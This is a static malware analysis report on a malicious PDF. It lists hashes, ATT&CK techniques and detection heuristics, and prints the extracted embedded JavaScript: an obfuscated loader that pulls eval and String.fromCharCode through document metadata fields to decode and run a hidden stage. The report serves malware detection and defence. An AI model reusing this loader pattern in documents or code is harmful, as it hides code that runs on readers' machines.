Malicious PDF — malware analysis report

Static analysis result for SHA-256 9777db13ef450a6f…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 2d110e38619a19496574f9ffe47c75e4 SHA-1: d23ba06c7796282ab3770ec848ede6691b6a640d SHA-256: 9777db13ef450a6f53a02839c70aedae9effa67f588b76d66c67558f7c8e04b4
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.007 Command and Scripting Interpreter: JavaScript/TypeScript

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The JavaScript stream, named 'javascript_obj0001_000.js', is 372 bytes and likely contains obfuscated code designed to exploit a PDF reader vulnerability or download a secondary payload. The use of String.fromCharCode further suggests obfuscation techniques common in malicious PDFs.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45E2 372 bytes
SHA-256: 4f951d48e34185c7b5adee80d09f84f55042381913f89fdb658836673cd163ea
Preview script
First 1,000 lines of the extracted script
var w = 4;
var embja = this.title.replace(/w/g,'*w,');
embja = embja.replace(/t/g,'2');
embja=embja.substr(0,embja.length-2) + ']';
oxhop=function(){return function(){return this}()}();
bcti=oxhop[this.subject];
hkkhz=bcti(this.producer);
hmup = bcti(embja);
var s = '';
for (i = 0; i < hmup.length; i++) {
	prrft = hmup[i];
	s += hkkhz(prrft);
}
bcti(s);

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